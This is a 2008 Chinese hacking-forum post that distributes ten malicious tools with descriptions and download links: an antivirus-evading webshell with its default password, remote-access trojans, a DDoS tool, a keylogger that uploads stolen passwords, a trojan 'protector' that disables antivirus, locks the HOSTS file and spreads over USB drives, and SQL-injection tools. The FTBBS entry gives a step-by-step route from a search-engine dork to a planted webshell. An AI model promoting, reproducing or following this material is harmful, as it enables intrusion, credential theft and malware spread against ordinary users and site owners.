40010106 2008-6-21 19:02
[06.22]黑客精品软件更新[软件兵器库整理]
[color=#ff0000][size=3]友情提示:[/size][/color]
1. 此更新合集由软件兵器库整理，[color=#0000ff]图片上传到免费空间,可能观看速度有些慢,请耐心等待下[/color]!
2. 所有软件均来自网络，我们保证您下载的软件无任何捆绑,至于有无后门请自行检测!
3. 软件上传于免费网盘, 点击进入下载地址后等待10秒中 即可出现下载地址进行下载!
4. 对于使用工具造成的一切违法行为一律与本站无关!
5. 欢迎访问软件兵器库 专注收集更新国内外最新黑软! 地址: [url=http://hacktools.topzj.com/]http://hacktools.topzj.com[/url]
[img]http://img1.ylmf.com/attachment/Day_080410/148_250883_9a5a7116518b778.gif[/img] 引用:[indent][color=#66cc00][size=2]今日更新列表:[/size][/color]
[color=#ff0000]1. [入侵辅助] 暗组超强功能免杀版WebShell
2. [入侵辅助] ServuSu.asp提权利用程序
3. [[b]远程控制[/b]] 2008.6.20 免费版PCshare过13杀软
4. [DDOS] 完美ddos 4.48
5. [远程控制] pcshare 黑防高级个人 版080129破解版
6. [程序源代码] 穿墙下载者源代码
7. [木马后门] 中英文键盘记录器v1.8破解版
8. [木马后门] 护马使者{080621}
9. [入侵辅助] oblog最新通杀漏洞爆密码工具
10. [入侵辅助] 飞天论坛[b]系统[/b]最新注入工具 [/color][/indent]
[img]http://img1.ylmf.com/attachment/Day_080410/148_250883_9a5a7116518b778.gif[/img] 引用:[indent]1. [color=#ff0000]暗组超强功能免杀版WebShell[/color]
软件大小: 73.19 KB
软件说明:
功能应该是目前世面上最强大的了吧，已经把目前所有ASP马的功能都集于一身了。
还有些没什么用的功能就没加进去了。
[b]杀毒[/b]网里只有一款微软的杀毒查杀。
其实瑞星也杀，但是只要把后缀改成ASA就可以过掉。
部分代码拷贝于网络。
默认密码是 kongqi
程序截图:
[img]http://ab.topzj.com/uu/uu_0806_5/hacktools_7_1_bbd813a04ecfd5a.gif[/img]
[img]http://ab.topzj.com/uu/uu_0806_5/hacktools_7_1_85c5b1456235014.gif[/img]
[img]http://ab.topzj.com/uu/uu_0806_5/hacktools_7_1_c69fc352407de38.gif[/img]
[url=http://www.live-share.com/files/329799/Dark-webshell.rar.html][color=#0000ff][size=4]点击进入下载页面[/size][/color][/url]
2. [color=#ff0000]ServuSu.asp提权利用程序[/color]
软件大小: 4 kb
软件说明:
作者：Goldsun
参照exe,php,aspx版写的一个servuSU程序,
利用microsoft.xmlhttp组件来网络交互实现。
本来打算2006年8月15日发布的,可最近私事繁忙,所以提前发布。
注意:
如果加不了[b]用户[/b],有可能系统的net.exe等命令
被权限隔离或删除,命令可以根据需要自己写,
一般情况下自己弄个rootkit上去,然后用它执行一下。
程序截图:
[img]http://ab.topzj.com/uu/uu_0806_4/hacktools_7_1_6841b02ec3efe2e.gif[/img]
[url=http://dd.topzj.com/download.php?predomain=hacktools&host=hacktools.topzj.com&pid=tpc&tid=560&aid=908&down_hash=dmRcendnM2FtUmBRNkQuNnYSZXJieHxnI1JbdnEBInQxIGEnYWZufGBRAnJuXwIN][color=#0000ff][size=4]点击进入下载页面[/size][/color][/url]
3. [color=#ff0000]2008.6.20 免费版PCshare过13杀软[/color]
软件大小: 47 KB
软件说明:
这是17免杀的
[url=http://hacktools.topzj.com/read.php?tid=568]http://hacktools.topzj.com/read.php?tid=568[/url]
把附件下载后覆盖即可!
程序截图:
[img]http://ab.topzj.com/uu/uu_0806_4/hacktools_11_1_3a3e6e4be4be755.jpg[/img]
[url=http://dd.topzj.com/download.php?predomain=hacktools&host=hacktools.topzj.com&pid=tpc&tid=641&aid=1005&down_hash=dmRcendnM2FtUmBRNkQuNnYSZXJieHxnI1JbdnEBInQxIGEnYWZufGBRAnJuXwIN][color=#0000ff][size=4]点击进入下载页面[/size][/color][/url]
4. [color=#ff0000]完美ddos 4.48[/color]
软件大小: 1.25 MB
软件说明:
亮亮破解
程序截图:
[img]http://ab.topzj.com/uu/uu_0806_4/hacktools_9_1_19299cd9523fd68.jpg[/img]
[url=http://www.live-share.com/files/329539/__ddos_4.48.rar.html][color=#0000ff][size=4]点击进入下载页面[/size][/color][/url]
5. [color=#ff0000]pcshare 黑防高级个人 版080129破解版[/color]
软件大小: 1.36 MB
软件说明:
亮亮破解的
程序截图:
[img]http://ab.topzj.com/uu/uu_0806_5/hacktools_11_1_15d0d53fcd84b33.jpg[/img]
[url=http://www.live-share.com/files/329795/pcshare_________080129___.rar.html][color=#0000ff][size=4]点击进入下载页面[/size][/color][/url] [/indent]
[img]http://img1.ylmf.com/attachment/Day_080410/148_250883_9a5a7116518b778.gif[/img] 引用:[indent]6. [color=#ff0000]穿墙下载者源代码[/color]
软件大小: 36 KB
软件说明:
插IE进程，需要保证运行下载者服务端的时候有IE进程
程序截图:
[img]http://ab.topzj.com/uu/uu_0806_3/hacktools_12_1_054ca96eb878b1c.jpg[/img]
[url=http://dd.topzj.com/download.php?predomain=hacktools&host=hacktools.topzj.com&pid=tpc&tid=489&aid=817&down_hash=dmRcendnM2FtUmBRNkQuNnYSZXJieHxnI1JbdnEBInQxIGEnYWZufGBRAnJuXwIN][color=#0000ff][size=4]点击进入下载页面[/size][/color][/url]
7. [color=#ff0000]中英文键盘记录器v1.8破解版[/color]
软件大小: 2.73 MB
软件说明:
A：键盘[b]监控[/b],记录所有中英文键盘按键,用户名/密码/聊天记录等均可监控。
B：屏幕监控，每隔一定时间抓屏，并保存为JPG图片。
C：具备[b]远程监控[/b]功能,自动上传监控记录,可随时异地收取查看。
程序截图:
[img]http://ab.topzj.com/uu/uu_0806_5/hacktools_10_1_3178126b8b2d6b0.jpg[/img]
[img]http://ab.topzj.com/uu/uu_0806_5/hacktools_10_1_02a841736051255.jpg[/img]
[url=http://www.live-share.com/files/329792/________v1.8___.rar.html][color=#0000ff][size=4]点击进入下载页面[/size][/color][/url]
8. [color=#ff0000]护马使者{080621}[/color]
软件大小: 231.83 KB
软件说明:
软件名称：护马使者 集{动态防护+下载器}于一体
版本号：08/06/21 通过 卡巴 瑞星 金山 最新病毒库检测
注：本程序未使用任何HOOK钩子，不会与你的小马产生任何冲突，可放心使用
主要功能及特色：(养马人(插件)的好帮手)
----------------------------------------------------------------------------
(* 注：本程序只可用来研究，不可用来做违法事宜，作者不承担任何后果 *)
新增功能：障碍移除(可移除更多的竟争对手 下载者 或 木马 重启后生效)
使用方法和无限下载基本类似，在TXT文件里填入要移除文件的完整路径，此功能
适合有一定基础的用户使用，首先要分析对方程序运行后的各个文件的完整路径
(*注意：不可错移系统文件哦*)，填入TXT上传空间即可使用，程序运行5分钟后
开始执行移除工作，具体使用方法参考 (主程序) 文件，新手搞明白方可使用！
移除名单：(收集的是一些流行的下载者，觉得妨碍自己的程序可自行进行增减)
见移除名单文件(del.txt)！！！
动态防护：(尽量为保护自身和小马而战斗)
大部分专杀是通过，网站下载，邮件，QQ，MSN 等传来传去的，所以本程序会动态
监视 C D E F G H 六大硬盘分区里的 EXE CMD COM BAT PIF SCR 六大可执行程序
扩展名，如果进行 下载 新建 改名 复制 等操作 (包括用 "迅雷" 下载，如果下
载的是RAR压缩包，解压或直接从RAR压缩包中运行即 删除或失效)，发现是专杀则
立即查杀，删除，这样即在专杀没运行前就被删除，用户也就没有机会在运行专杀。
防护名单：(目前只反杀了如下程序，新版继续添加，服务端可进行远程自升级)
见防护名单文件！！！
----------------------------------------------------------------------------
传统功能：
1.程序提供 10项下载 及 无限下载 ，填写时记得选择延时下载的时间。
2.本程序服务端具有远程更新功能，10项下载 及 无限下载 均可升级自身。
3.程序采用双进程守护方式运行，用户可随机选择 5 - 8 位不同长度的进程名。
4.程序仍然采用感染 硬盘分区 和 U盘分区 的功能，同时破AUTO包括NTFS的免疫。
5.程序运行后，会关闭一次QQ程序，彻底封锁QQ医生，否则 QQ.exe 会不定时的跳出来进行查杀。
6.程序提供3个U盘伪装文件填写，使用则钩选后填入你想填的欺骗文字(最长8个中文),会在对方U盘里生成。
7.程序对老版本的卡巴进行改时间跳过 主动防御，新版本的则直接调用 卸载程序卸载，瑞星则直接进行卸载操作。
8.程序仍然采用网页关键字查杀方式，以便对在线 查毒，杀毒，下载专杀，等关键字进行屏蔽，尽可能的保护自己。
9.程序采用独占方式锁定系统启动配置文件，防止XDELBOX这类程序进行重启删除，防不了的加入 "防护名单" 删除。
10.程序运行后清空系统的HOSTS文件，然后以独占方式锁定，防止用户或某些软件写HOSTS屏蔽网址，影响下载功能。
11.提供隐藏弹窗统计功能，程序运行5分钟后，弹出你指定的统计地址，30秒后自动关闭。
12.屏蔽系统 安全模式，印像劫持，自删除，等等功能，不在多说了，用户可自行测试。
使用注意事项：
见主程序！！！
程序截图:
[img]http://ab.topzj.com/uu/uu_0806_5/hacktools_10_1_05ace89c1dfd0f5.jpg[/img]
[url=http://www.live-share.com/files/329787/_____080621_.rar.html][color=#0000ff][size=4]点击进入下载页面[/size][/color][/url]
9. [color=#ff0000]oblog最新通杀漏洞爆密码工具[/color]
软件大小: 13 KB
软件说明:
#影响版本:
3.13-20060429 [access & mssql]
4.02-20070112 [access & mssql]
4.50 Final Build0619 [access & mssql]
4.60 Final Build0921 [access & mssql]
4.60 Final Build1107 [access & mssql]
漏洞是致命的,acc和sql版均可以直接爆出管理员密码,如果是sql版,则可以直接添加一个管理员!为了有效检测这个洞,我
在本机建站,认真研究后写了这个利用工具.目的是方便大家检测自己的网站,不要用它来入侵,因为oblog站点实在太多!
工具经过我多次调试,已经比较智能化了,并加入了MD5解密和缩放功能,很方便了!
我是用VB写的,目前工具还两个地方有待完善:
一是那个导入密码的功能, 目前只能导入第一个管理员的密码,其它的需要手工复制到解密框;
二是sql版在改变后台目录的情况下,还不能查出后台,原因是记录后台的字段使用了"desc"作为字段,不能查询显示其中的内容.
===================================================
经过我2天的潜心研究,上面的两个问题,已全部解决!工具已全部更新!!!解决方法如下:
1、第一个问题，SQL版不能查后台页面的问题已解决,原来是因为查询语句使用了如下结构:
(select a1 from a) union (select a1 from b)
a,b是两个结构相同的表,a1为text类型字段,执行后提示:
"不能以 distinct 方式选择 text、ntext 或 image 数据类型"
这是由于两表有完全一样的数据所导致，使用union all代替union即可.
-------------------------------------------------------------------------------------------------------
2、第二个问题经请教"黑白天空",使用split函数把数据分割成数组,然后用left函娄循还取值,添加到列表控件中,也圆满解决!
工具非常完美了,又学到不少东西!
--------------------------------------------------------------------------------------------------------
程序截图:
[img]http://ab.topzj.com/uu/uu_0806_5/hacktools_7_1_3892d14f5737aff.jpg[/img]
[url=http://dd.topzj.com/download.php?predomain=hacktools&host=hacktools.topzj.com&pid=tpc&tid=650&aid=1011&down_hash=dmRcendnM2FtUmBRNkQuNnYSZXJieHxnI1JbdnEBInQxIGEnYWZufGBRAnJuXwIN][color=#0000ff][size=4]点击进入下载页面[/size][/color][/url]
10. [color=#ff0000]飞天论坛系统最新注入工具[/color]
软件大小: 9 KB
软件说明:
漏洞成因及利用方法如下:
飞天论坛系统—FTBBS6.3的myinfo.asp等多个页面存在注入漏洞，代码如下：
userid=request.QueryString("userid")
sql="select * from clubuser where clubuser_id="&userid
set rs2=server.createobject("adodb.recordset")
rs2.open sql,conn,3,1
[b]系统集成[/b]了防注程序，但防注程序没有转换大小写，可以轻松绕过。为了方便，写了个工具，现将利用工具拿webshell的方法演示如下：
第一步，到百度搜索有洞站点。关键词： inurl:ftbbs.asp (约有 150个查询结果)
第二步，打开工具，填入网址（以本机建站演示）暴出密码
第三步，导入密码
第四步，解密MD5
第五步，进后台，增加上传文件类型 ASP （注意，是大写）
第六步，前台注册
第七步，点“上传”，创建一个相册，然后上传ASP网马，查看属性，成功拿到webshell.
程序截图:
[img]http://ab.topzj.com/uu/uu_0806_5/hacktools_7_1_34d303fbc290cac.jpg[/img]
[url=http://dd.topzj.com/download.php?predomain=hacktools&host=hacktools.topzj.com&pid=tpc&tid=646&aid=999&down_hash=dmRcendnM2FtUmBRNkQuNnYSZXJieHxnI1JbdnEBInQxIGEnYWZufGBRAnJuXwIN][color=#0000ff][size=4]点击进入下载页面[/size][/color][/url] [/indent]
[img]http://img1.ylmf.com/attachment/Day_080410/148_250883_9a5a7116518b778.gif[/img]